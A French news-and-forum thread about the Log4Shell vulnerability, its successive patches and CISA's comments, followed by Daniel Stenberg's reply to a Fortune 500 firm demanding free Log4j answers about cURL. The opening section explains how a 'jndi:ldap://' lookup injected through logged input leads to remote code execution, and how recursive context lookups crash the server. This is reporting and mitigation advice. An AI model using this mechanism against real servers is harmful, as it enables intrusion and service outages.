Log4j inclut un mécanisme de recherche qui pourrait être utilisé pour effectuer des requêtes via une syntaxe spéciale dans une chaîne de format. Par exemple, il peut être utilisé pour demander divers paramètres comme la version de l'environnement Java via ${java:version}, etc. Ensuite, en spécifiant la clé jndi dans la chaîne, le mécanisme de recherche utilise l'API JNDI. Par défaut, toutes les requêtes sont effectuées en utilisant le préfixe java:comp/env/*; cependant, les auteurs ont implémenté l'option d'utiliser un préfixe personnalisé au moyen d'un symbole deux-points dans la clé. C'est là que réside la vulnérabilité : si jndi:ldap:// est utilisé comme clé, la requête va au serveur LDAP spécifié. D'autres protocoles de communication, tels que LDAPS, DNS et RMI, peuvent également être utilisés.

Ainsi, un serveur distant contrôlé par un attaquant pourrait renvoyer un objet à un serveur vulnérable, entraînant potentiellement l'exécution de code arbitraire dans le système ou la fuite de données confidentielles. Tout ce qu'un attaquant doit faire est d'envoyer une chaîne spéciale via le mécanisme qui écrit cette chaîne dans un fichier journal et est donc gérée par la bibliothèque Log4j. Cela peut être fait avec de simples requêtes HTTP, par exemple, celles envoyées via des formulaires Web, des champs de données, etc., ou avec tout autre type d'interactions utilisant la journalisation côté serveur.

La vulnérabilité a été caractérisé par Tenable comme « la vulnérabilité la plus importante et la plus critique de la dernière décennie ».

Des preuves de concept ont déjà été publiées. Cette vulnérabilité fait l'objet d'une exploitation active.

La sévérité de la brèche est maximale 10 sur l’échelle CVSS.

Elle permet donc à un attaquant de provoquer une exécution de code arbitraire à distance s'il a la capacité de soumettre une donnée à une application qui utilise la bibliothèque log4j pour journaliser l'évènement. Cette attaque peut être réalisée sans être authentifié, par exemple en tirant parti d'une page d'authentification qui journalise les erreurs d'authentification. Les entreprises spécialisées en cybersécurité ont indiqué que le nombre d'attaques profitant de cette faille se multiplient. Les membres de l’Apache Software Fondation ont développé un patch en catastrophe pour corriger la vulnérabilité, la version 2.15.0. Des contournements sont également possibles pour réduire les risques.

Mais les chercheurs ont signalé qu'il existe au moins deux vulnérabilités dans le correctif, publié sous le nom de Log4J 2.15.0, et que les attaquants exploitent activement l'une d'entre elles ou les deux contre des cibles du monde réel qui ont déjà appliqué la mise à jour. Les chercheurs ont exhorté les organisations à installer un nouveau correctif, publié en tant que version 2.16.0, dès que possible pour corriger la vulnérabilité, qui est suivie comme CVE-2021-45046.

Le correctif précédent, ont déclaré les chercheurs, « était incomplet dans certaines configurations autres que celles par défaut » et permettait aux attaquants d'effectuer des attaques par déni de service, ce qui facilite généralement la mise hors ligne des services vulnérables jusqu'à ce que les victimes redémarrent leur serveurs ou prennent d'autres mesures. La version 2.16.0 « résout ce problème en supprimant la prise en charge des modèles de recherche de messages et en désactivant la fonctionnalité JNDI par défaut », selon l'avis de vulnérabilité lié ci-dessus.

La version 2.15.0 ne résolvait pas un autre problème - CVE-2021-45046 - qui permettait à un attaquant distant contrôlant le Thread Context Map (MDC) de préparer une entrée malveillante à l'aide d'un modèle de recherche JNDI. Le résultat pourrait être l'exécution de code à distance, heureusement pas dans tous les environnements.

La version 2.16.0 a résolu ce problème. Mais elle n'a pas corrigé CVE-2021-45105, que l'Apache Software Foundation décrit comme suit :

« Les versions 2.0-alpha1 à 2.16.0 d'Apache Log4j2 ne protégeaient pas contre la récursivité incontrôlée des recherches auto-référentielles. Lorsque la configuration de la journalisation utilise une disposition de modèle autre que celle par défaut avec une recherche de contexte (par exemple, $${ctx:loginId}), les attaquants contrôlant les données d'entrée de Thread Context Map (MDC) peuvent créer des données d'entrée malveillantes contenant une recherche récursive, ce qui entraîne une StackOverflowError qui mettra fin au processus. Ceci est également connu sous le nom d'attaque DOS (Denial of Service) ».

Le programme de primes de bogues indépendant des fournisseurs, Zero Day Initiative, a décrit la faille comme suit :

« Lorsqu'une variable imbriquée est remplacée par la classe StrSubstitutor, elle appelle récursivement la classe substitut(). Cependant, lorsque la variable imbriquée fait référence à la variable à remplacer, la récursivité est appelée avec la même chaîne. Cela conduit à une récursivité infinie et à une condition DoS sur le serveur ».

L'ASF a également décrit les mesures d'atténuation suivantes :

• Dans PatternLayout dans la configuration de la journalisation, remplacez les recherches de contexte comme ${ctx:loginId} ou $${ctx:loginId} par les modèles de mappe de contexte de thread (%X, %mdc ou %MDC) .
• Sinon, dans la configuration, supprimez les références aux recherches contextuelles telles que ${ctx:loginId} ou $${ctx:loginId} lorsqu'elles proviennent de sources externes à l'application telles que les en-têtes HTTP ou les entrées utilisateur.

La faille a été corrigée dans Log4j 2.17.0 (Java 8).

Un autre bogue critique d'exécution de code à distance qui est maintenant suivi en tant que CVE-2021-44832 a été découvert dans la même bibliothèque de journalisation Apache Log4j. Il s'agit de la quatrième vulnérabilité de la bibliothèque Log4j.

Classé « modéré » en gravité avec un score de 6,6 sur l'échelle CVSS, la vulnérabilité provient du manque de contrôles supplémentaires sur l'accès JDNI dans log4j.

L'équipe de sécurité d'Apache a publié une autre version d'Apache Log4J (version 2.17.1) corrigeant le bogue d'exécution de code à distance CVE-2021-44832 récemment découvert. C'est une autre mauvaise situation pour la plupart des utilisateurs, mais, encore une fois, il est fortement recommandé de mettre son système à jour pour résoudre ce problème critique.

La prise de parole du CISA

Aucune agence fédérale américaine n'a été compromise en raison de la vulnérabilité, a déclaré lundi la directrice de la CISA, Jen Easterly, aux journalistes lors d'un appel. En outre, aucune cyberattaque majeure impliquant le bogue n'a été signalée aux États-Unis, bien que de nombreuses attaques ne soient pas signalées, a-t-elle déclaré.

Easterly a déclaré que l'étendue de la vulnérabilité, qui affecte des dizaines de millions d'appareils connectés à Internet, en fait la pire qu'elle ait vue dans sa carrière. Il est possible, a-t-elle dit, que les attaquants attendent leur heure, attendant que les entreprises et autres baissent leurs défenses avant d'attaquer.

« Nous nous attendons à ce que Log4Shell soit utilisé dans les intrusions dans le futur », a déclaré Easterly. Elle a noté la violation de données d'Equifax en 2017, qui a compromis les informations personnelles de près de 150 millions d'Américains, découlait d'une vulnérabilité dans un logiciel open source.

Jusqu'à présent, la plupart des tentatives d'exploitation du bogue se sont concentrées sur le minage de crypto-monnaies de bas niveau ou sur des tentatives d'attirer des appareils dans des botnets, a-t-elle déclaré.

L'une des premières attaques connues utilisant la vulnérabilité impliquait le jeu informatique Minecraft. Les attaquants ont pu s'emparer de l'un des serveurs du jeu de construction du monde avant que Microsoft, propriétaire de Minecraft, ne corrige le problème.

Il y a eu de grosses attaques ailleurs. Le ministère belge de la défense a déclaré le 16 décembre avoir découvert une attaque sur son réseau informatique. L'attaque a paralysé certaines activités du ministère. « La Défense a découvert une attaque sur son réseau informatique avec accès à Internet. Des mesures de quarantaine ont été rapidement prises pour isoler les parties touchées. Cette attaque fait suite à l'exploitation de la vulnérabilité Log4j, qui a été rendue publique la semaine dernière et pour laquelle les spécialistes informatiques du monde entier s'engouffrent dans la brèche », a déclaré Olivier Severin le porte-parole du ministère.

Source : entretien avec la Directrice du CISA Jen Easterly

[TJ1985]

C'est ce qui m'a toujours effrayé lorsque j'ai assisté à l'explosion des bibliothèques et plateformes en ligne. Pour avoir commis une fois un bug dans une librairie partagée, je mesure pleinement l'impact que ça peut avoir. Là, j'avais encore la main dessus, et sur l'ensemble des applications qui l'utilisaient et ça a quand même fait des dégâts. Mais si elle avait été lâchée dans la nature... à moi la peur !
J'ai l'impression que nous avons perdu la tête. Toutes les entreprises ne font pas du commerce en ligne, toutes n'ont pas besoin d'un cloud externe et beaucoup bénéficieraient des services d'un bon analyste bien plus que d'une SSII avide de rentabilité - pour elle-même.

[LAB3W]

Websites hacked today : 131,750 at 01H PM GMT+0

Websites hacked this year : 4,648,206 - 2022 / 01 / 21

Internet Live Stats

[Stéphane le calme]

Log4j : une entreprise du Fortune 500 exige des réponses rapides et gratuites du créateur de cURL,
qui leur a indiqué qu'il le ferait « dès que nous aurons signé un contrat de support »

Daniel Stenberg, le créateur de cURL, a reçu un courriel en provenance d'une entreprise appartenant au Fortune 500, le classement des 500 premières entreprises américaines classées selon l'importance de leur chiffre d'affaires. Ladite entreprise (ou ses clients) utilisait probablement cURL et, dans le contexte de la vulnérabilité dans la bibliothèque de journalisation Apache log4j, lui a posé une série de questions pour savoir entre autres si cURL s'appuyait sur log4j. « Si vous êtes une entreprise de plusieurs milliards de dollars et que vous êtes préoccupé par log4j, pourquoi ne pas simplement envoyer un e-mail aux auteurs OSS à qui vous n'avez jamais rien payé et exiger une réponse gratuite dans les 24 heures avec beaucoup d'informations ? » a-t-il demandé en présentant le courriel qu'il a reçu

Le 9 décembre, une vulnérabilité a été découverte dans la bibliothèque de journalisation Apache log4j. Cette bibliothèque est très souvent utilisée dans les projets de développement d'application Java/J2EE ainsi que par les éditeurs de solutions logicielles sur étagère basées sur Java/J2EE.

Log4j inclut un mécanisme de recherche qui pourrait être utilisé pour effectuer des requêtes via une syntaxe spéciale dans une chaîne de format. Par exemple, il peut être utilisé pour demander divers paramètres comme la version de l'environnement Java via ${java:version}, etc. Ensuite, en spécifiant la clé jndi dans la chaîne, le mécanisme de recherche utilise l'API JNDI. Par défaut, toutes les requêtes sont effectuées en utilisant le préfixe java:comp/env/*; cependant, les auteurs ont implémenté l'option d'utiliser un préfixe personnalisé au moyen d'un symbole deux-points dans la clé. C'est là que réside la vulnérabilité : si jndi:ldap://est utilisé comme clé, la requête va au serveur LDAP spécifié. D'autres protocoles de communication, tels que LDAPS, DNS et RMI, peuvent également être utilisés.

Ainsi, un serveur distant contrôlé par un attaquant pourrait renvoyer un objet à un serveur vulnérable, entraînant potentiellement l'exécution de code arbitraire dans le système ou la fuite de données confidentielles. Tout ce qu'un attaquant doit faire est d'envoyer une chaîne spéciale via le mécanisme qui écrit cette chaîne dans un fichier journal et est donc gérée par la bibliothèque Log4j. Cela peut être fait avec de simples requêtes HTTP, par exemple, celles envoyées via des formulaires Web, des champs de données, etc., ou avec tout autre type d'interactions utilisant la journalisation côté serveur.

La vulnérabilité a été caractérisé par Tenable comme « la vulnérabilité la plus importante et la plus critique de la dernière décennie ».

La sévérité de la brèche est maximale 10 sur l’échelle CVSS.

Des correctifs ont été proposés mais, tour à tour, il a été découvert des faiblesses dans leurs réponses. Au total, les chercheurs ont découvert quatre vulnérabilités en prenant en considération les surfaces d'attaques laissées par trois correctifs proposés pour combler la même faille.

Le créateur de cURL interrogé

cURL (abréviation de client URL request library : « bibliothèque de requêtes aux URL pour les clients » ou see URL : littéralement « voir URL ») est une interface en ligne de commande, destinée à récupérer le contenu d'une ressource accessible par un réseau informatique. La ressource est désignée à l'aide d'une URL et doit être d'un type supporté par le logiciel. Le logiciel permet de créer ou modifier une ressource (contrairement à wget), il peut ainsi être utilisé en tant que client REST.

Le programme cURL implémente l'interface utilisateur et repose sur la bibliothèque logicielle libcurl, développée en langage C. Celle-ci est ainsi accessible aux développeurs qui veulent disposer des fonctionnalités d'accès au réseau dans leurs programmes. Des interfaces ont été créées dans de nombreux langages (C++, Java, .NET, Perl, PHP, Ruby...).

La bibliothèque supporte notamment les protocoles DICT, file, FTP, FTPS, Gopher, HTTP, HTTPS, IMAP, IMAPS, LDAP, LDAPS, POP3, POP3S, RTSP, SCP, SFTP, SMB, SMBS, SMTP, SMTPS, Telnet et TFTP.

Son créateur, Daniel Stenberg, a été contacté dans le contexte de la faille log4j par une entreprise disposant d'une capitalisation boursière lui permettant de figurer dans le Fortune 500. Dans un billet de blog, il a indiqué :

« Le vendredi 21 janvier 2022, j'ai reçu cet e-mail. J'ai tweeté à ce sujet et ça a décollé.

« L'e-mail provient d'une entreprise multimilliardaire figurant dans le Fortune 500 qui pourrait apparemment utiliser un produit contenant mon code, ou peut-être qu'ils ont des clients qui le font. Qui sait?

« Je suppose qu'ils le font pour des raisons de conformité et qu'ils ont "oublié" que leurs composants open source ne sont pas automatiquement fournis par des "partenaires" auxquels ils peuvent simplement demander ces informations.

« J'ai répondu très brièvement à l'e-mail et j'ai dit que je serais heureux de répondre avec des détails dès que nous aurons signé un contrat de support.

« Je pense que cela est peut-être un bon exemple de la pyramide open source et que les utilisateurs des couches supérieures ne pensent pas du tout à la façon dont les couches inférieures sont maintenues. Construire une maison sans se soucier du sol sur lequel se trouve la maison ».

Dans son tweet et dans son billet de blog, il supprime le nom de l'entreprise et en donne les raisons : « J'ai très probablement le droit de vous dire qui ils sont, mais je préfère quand même ne pas le faire. (Surtout si je parviens à décrocher un contrat commercial rentable avec eux.) Je pense que nous pouvons trouver ce niveau de droit dans de nombreuses entreprises ».

Et de continuer en ces termes :

« Le niveau d'ignorance et d'incompétence montré dans ce seul e-mail est ahurissant.

« Bien qu'ils ne disent même pas spécifiquement quel produit ils utilisent, aucun code avec lequel j'ai jamais été impliqué ou dont j'ai les droits d'auteur n'utilise log4j et n'importe quel débutant ou meilleur ingénieur pourrait facilement le vérifier.

« Dans la version image de l'e-mail, j'ai complété les champs de nom pour mieux anonymiser l'expéditeur, et dans le texte ci-dessous, je les ai remplacés par NNNN. (Et oui, il est très curieux qu'ils envoient des requêtes sur log4j maintenant, apparemment très tard.) »

Les courriels

Cher partenaire de l'équipe Haxx,

Vous recevez ce message car NNNN utilise un produit que vous avez développé. Nous vous demandons d'examiner et de répondre dans les 24 heures suivant la réception de cet e-mail. Si vous n'êtes pas la bonne personne, veuillez transmettre ce message au contact approprié.

Comme vous le savez peut-être déjà, une vulnérabilité zero-day récemment découverte affecte actuellement la bibliothèque de journalisation Java Apache Log4j à l'échelle mondiale, permettant potentiellement aux attaquants de prendre le contrôle total des serveurs concernés.

La sécurité et la protection des informations confidentielles de nos clients sont notre priorité absolue. En tant que partenaire clé au service de nos clients, nous devons comprendre vos plans de risque et d'atténuation de cette vulnérabilité.

Veuillez répondre aux questions suivantes en utilisant le modèle fourni ci-dessous.

1. Si vous utilisez une bibliothèque de journalisation Java pour l'une de vos applications, quelles versions de Log4j sont en cours d'exécution ?

2. Y a-t-il eu des incidents de sécurité confirmés dans votre entreprise ?

3. Si oui, quels applications, produits, services et versions associées sont impactés ?

4. Certains produits et services NNNN ont-ils été touchés ?

5. Les informations non publiques ou personnelles de NNNN ont-elles été affectées ?

6. Si oui, veuillez fournir immédiatement les détails des informations concernées NNNN.

7. Quel est le délai (MM/JJ/AA) pour terminer la correction ? Énumérez les étapes NNNN, y compris les dates pour chacune.

8. Quelle action est requise de la part de NNNN pour terminer cette correction ?

Dans un effort pour maintenir l'intégrité de cette enquête, nous vous demandons de ne pas partager les informations relatives à NNNN en dehors de votre entreprise et de réserver cette demande au personnel concerné uniquement.

Merci d'avance pour votre prompte attention à cette demande et votre partenariat !

Sincèrement,

Sécurité des informations NNNN

Les informations contenues dans ce message peuvent être CONFIDENTIELLES et sont destinées uniquement au destinataire prévu. Toute utilisation non autorisée, diffusion des informations ou copie de ce message est interdite. Si vous n'êtes pas le destinataire prévu, veuillez en informer immédiatement l'expéditeur et supprimer ce message.

Le 24 janvier, le père de cURL a reçu cette réponse, de la même adresse et elle cite sa réponse :

Salut David,

Merci pour votre réponse. Êtes-vous en train de dire que nous ne sommes pas un client de votre organisation ?

/ [prénom de la personne qui s'adresse à David]

Le père de cURL a de nouveau répondu (22h29 CET le 24 janvier) à ce courriel qui l'identifiait comme étant "David". Etant donné qu'il y a une histoire à propos d'un David qui a affronté le géant Goliath, il n'a pas pu s'empêcher d'en faire une blague :

Salut Goliath,

Non, vous n'avez aucun contrat établi avec moi ou toute autre personne chez Haxx à qui vous avez adressé cet e-mail, demandant beaucoup d'informations. Vous n'êtes pas notre client, nous ne sommes pas votre client. De plus, vous n'avez pas précisé de quel produit il s'agissait.

Ainsi, nous pouvons soit établir une telle relation, soit vous êtes libre de chercher vous-même des réponses à vos questions.

Je ne peux que présumer que vous avez intégré notre adresse e-mail et nos coordonnées dans vos systèmes, car nous produisons de nombreux logiciels open source largement utilisés.

Meilleurs vœux,
Daniel

Source : Daniel Stenberg (billet de blog, Tweet)

Et vous ?

Que pensez-vous de la démarche de l'entreprise du Fortune 500 ?
Que pensez-vous de la réponse de David Stenberg ?

Voir aussi :

GitHub restaure le compte du dev qui a intentionnellement corrompu ses bibliothèques, certains développeurs estiment que la suspension était déraisonnable puisqu'il s'agissait de son propre code
Log4j : la directrice du CISA s'attend à des retombées de la faille qui vont s'étendre sur des années et servir à des intrusions futures dans les systèmes des entreprises

[walfrat]

Personnellement je demande a voir la fin de l'histoire avant de basher la société.

Le premier mail de la société peut paraître agressif et stupide mais ça peut ni plus ni moins venir de personnes qui font ce genre de mail aussi bien à des sociétés privés sous contrat qu'a des gens du monde open source sans contrat, car ils ignorent la différence.

En outre le second mail de la société me paraît être un signe qu'ils sont pas si mal tombé.

[A3gisS3c]

Quelqu'un peut m'expliquer le lien entre Curl et Log4j?

Sinon on peut aussi demander à Nespresso s'il sont sensibles à Log4j dans la foulée.

[vanquish]

Je suis dans le gratuit (pas l'open source) et je suis régulièrement confronté au problème.
C'est toujours un peu désagréable mais très compréhensible.
Déjà généralement votre interlocuteur est dans la structure depuis 3 ans, alors que le produit est là depuis 15.
Il sait que c'est là, mais n'a aucune idée du modèle économique, parce que ce n'est pas son boulot et qu'il a 150 autres sous-système qu'il ne fait que superviser.

Et en vrai, c'est rarement une question d'argent.
Quand on lui explique que c'est gratuit, ça lui pose souvent un problème, car gratuit cela veux dire pas de contrat et donc personne sur qui rejeter la responsabilité en cas de problème.
Il en a, rétrospectivement, des sueurs froides.
Certains utilisateurs qui pourraient avoir le produit gratuitement préfère payer pour avoir un lien contractuel.

[dolu02]

Personnellement je demande a voir la fin de l'histoire avant de basher la société.

Le premier mail de la société peut paraître agressif et stupide mais ça peut ni plus ni moins venir de personnes qui font ce genre de mail aussi bien à des sociétés privés sous contrat qu'a des gens du monde open source sans contrat, car ils ignorent la différence.

En outre le second mail de la société me paraît être un signe qu'ils sont pas si mal tombé.

C'est justement ce qui leur est reproché, d'être ignorants. S'ils ont des IT en interne (on peut le supposer pour une telle entreprise), pourquoi ne pas leur demander ce qu'il faut faire?

[walfrat]

C'est justement ce qui leur est reproché, d'être ignorants. S'ils ont des IT en interne (on peut le supposer pour une telle entreprise), pourquoi ne pas leur demander ce qu'il faut faire?

Et en quoi les gens de l'IT sont forcément qualifiés pour parler des aspects juridiques et contractuels ? Perso si on me demande de faire du juridique sur le monde open source et ces licences, je préfère botter en touche.

Quelqu'un de l'IT pourra te dire qu'il peut passé du temps à chercher les infos, mais son temps c'est des coûts à la société. De plus, la société peut vouloir préféré une réponse formelle des auteurs des logiciels, approche parfaitement légitime d'un point de vue tant sécurité que juridique.

En IT on a tendance à beaucoup cultiver l'art de la débrouille en mode "ça finira par passer". Mais c'est aussi pour ça qu'on a de vrais passoires en termes de sécurité ou de législation (protection des données par exemple). L'art de la débrouille, devant des professionnels de la sécurité mais aussi des juristes, je ne pense pas que ça passe.

[AoCannaille]

Le premier mail ressemble a un mail générique prévu pour une mailing liste trés générique.

ça ne m'étonnerait vraiment pas qu'un gars ait fait un grep de toutes les adresses mails de contact de toutes les licences inclus dans leurs produits pour faire un audit bien bourrin. C'est tout à leur honneur même si plus de tact eu été appréciables pour ce mainteneur open source.

En soit, la réponse "Déso, on a pas de contrat, je vous répond pas" est selon moi la meilleure à avoir, et semble bien être compris dans le 2e mail. Je suis persuadé que la situation va évoluer dans le bon sens si tout le monde reste courtois.

Au final c'est un non-événement...

[gabriel21]

Le mail ressemble beaucoup à des mails que je peux voir passé en interne ou du client quand le service SSI panique et comme il savent pas où ils habitent, ni ce que font les administrateurs et les développeurs, ils leurs posent la totalité des questions que le RSSI ou tout autre directeur leur a posé.
L'affaire est cocasse, surtout la réponse... Ah bon, vous ne travaillez pas pour nous...
Il s'agit là plus d'une incompétence personnel que d'une société, même si l'ultra procéduralisation et les équipes aux périmètres restreints et hermétiques peuvent être la cause profonde de ce genre de situation.
J'ai par exemple eu le cas d'une demande pour savoir si on avait bien patché une vulnérabilité noyau Windows sur nos serveurs applicatifs qui tournaient sur RHEL et AIX....
Des perles de ce type, j'en vois malheureusement très souvent.